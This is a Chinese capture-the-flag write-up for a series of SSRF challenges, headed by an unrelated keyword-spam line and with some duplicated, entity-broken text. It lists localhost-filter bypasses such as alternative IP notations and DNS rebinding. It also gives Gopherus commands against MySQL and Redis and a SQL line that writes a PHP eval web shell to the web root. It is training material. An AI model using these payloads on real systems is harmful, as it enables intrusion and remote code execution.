个人响应式网站设计,山西建设机械网站,做网站必须会,人性本私 wordpressweb351
存在一个flag.php页面#xff0c;访问会返回不是本地用户的消息#xff0c;那肯定是要让我们以本地用户去访问127.0.0.1/flag.php web352
代码中先判断是否为HTTP或https协议#xff0c;之后判断我们传入的url中是否含有localhost和127.0.0#xff0c;如果没有则…web351
存在一个flag.php页面访问会返回不是本地用户的消息那肯定是要让我们以本地用户去访问127.0.0.1/flag.php web352
代码中先判断是否为HTTP或https协议之后判断我们传入的url中是否含有localhost和127.0.0如果没有则执行下面语句
意思过滤掉了localhost和127.0.0 urlhttp://0x7F.0.0.1/flag.php 16进制 urlhttp://0177.0.0.1/flag.php 8进制 urlhttp://0.0.0.0/flag.php urlhttp://0/flag.php urlhttp://127.127.127.127/flag.php web353
这题与上一题类似过滤更严格但可以使用进制转换 十六进制 urlhttp://0x7F.0.0.1/flag.php 八进制 urlhttp://0177.0.0.1/flag.php 10 进制整数格式 urlhttp://2130706433/flag.php 16 进制整数格式还是上面那个网站转换记得前缀0x urlhttp://0x7F000001/flag.php 还有一种特殊的省略模式 127.0.0.1写成127.1 用CIDR绕过localhost urlhttp://127.127.127.127/flag.php urlhttp://0/flag.php urlhttp://0.0.0.0/flag.php web354
该题过滤了1和0使用DNS重绑定绕过
urlhttp://sudo.cc/flag.php
web355
限制了host长度小于等于5使用127.1省略绕过
urlhttp://127.1/flag.php web366
此时的host长度限制为小于等于3
0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0
urlhttp://0/flag.php
web357
gethostbyname()函数
主要作用用域名或者主机名获取地址操作系统提供的库函数。
成功返回的非空指针指向如下的hostent结构
struct hostent { char *h_name; //主机名 char **h_aliases; //主机别名(指向到虚拟主机的域名) int h_addrtype; //主机IP地址类型 int h_length; //主机IP地址长度对于IPv4是四字节 char **h_addr_list; //主机IP地址列表 };
#define h_addr h_addr_list[0]
filter_var() 函数
通过指定的过滤器过滤变量。
如果成功则返回已过滤的数据如果失败则返回 false。
所以url不能是私有地址需要一个公网ip
在网站http://ceye.io/注册账号会自动分配一个域名:
http://r.xxxxxx/flag.php xxx为分给你的域名
web358
这里的正则表示以http://ctf.开头以show结尾即匹配http://ctf.*show
urlhttp://ctf.127.0.0.1/flag.php?show
如果不在ctf.后面加,解析url时会把ctf.也解析成host的内容如果不在show前面加#或?会把show也解析到path中得不到想要的结果
web359
抓包发现有个returl参数并且可以随意更改url
gopher协议打mysql
python gopherus.py --exploit mysql
生成一句话木马
select ?php eval($_POST[cmd]);? into outfile /var/www/html/2.php;
访问2.php,cat一下
web360
跟上题一样只不过换成打redis
python gopherus.py --exploit redis
?php eval($_POST[cmd]);?
然后访问shell.php